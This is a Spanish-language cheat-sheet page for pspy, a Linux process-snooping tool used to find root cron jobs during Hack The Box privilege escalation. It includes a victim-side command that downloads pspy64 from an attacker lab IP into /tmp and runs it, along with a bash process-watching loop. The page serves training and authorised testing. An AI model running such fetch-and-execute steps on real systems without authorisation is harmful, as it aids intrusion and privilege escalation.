pspy
Muchas tareas de root no aparecen en /etc/crontab (están en el crontab de root o en timers). pspy vigila /proc y el sistema de ficheros y te enseña cada comando que se ejecuta, con su UID y argumentos.
- Plataforma
- Linux (Go)
- Web oficial
- github.com/DominicBreuker/pspy
- En HTB
- 13 máquinas
Instalación
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64Chuleta de pspy
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Uso
Procesos y eventos de ficheros, cada segundo
Víctima
chmod +x pspy64 && ./pspy64 -pf -i 1000
En sistemas de 32 bits
Víctima
./pspy32En nuestras chuletas
Escalada de privilegios en Linux › Comprobaciones
Ver procesos que se lanzan solos (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Sin pspy (bash)
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; doneNingún comando coincide.
Máquinas de HTB donde se usa pspy
Sacadas de los capítulos de los vídeos de IppSec en los que aparece pspy. El enlace ▶ salta al minuto de esa parte.
Guías que usan pspy
- Escalada en Linux: tareas cron, PATH hijacking, wildcards y grupos docker o lxd 4 min de lectura Cuando sudo y SUID no dan nada: tareas cron con pspy, PATH hijacking, comodines en tar y rsync, y root desde los grupos docker, lxd, disk o adm.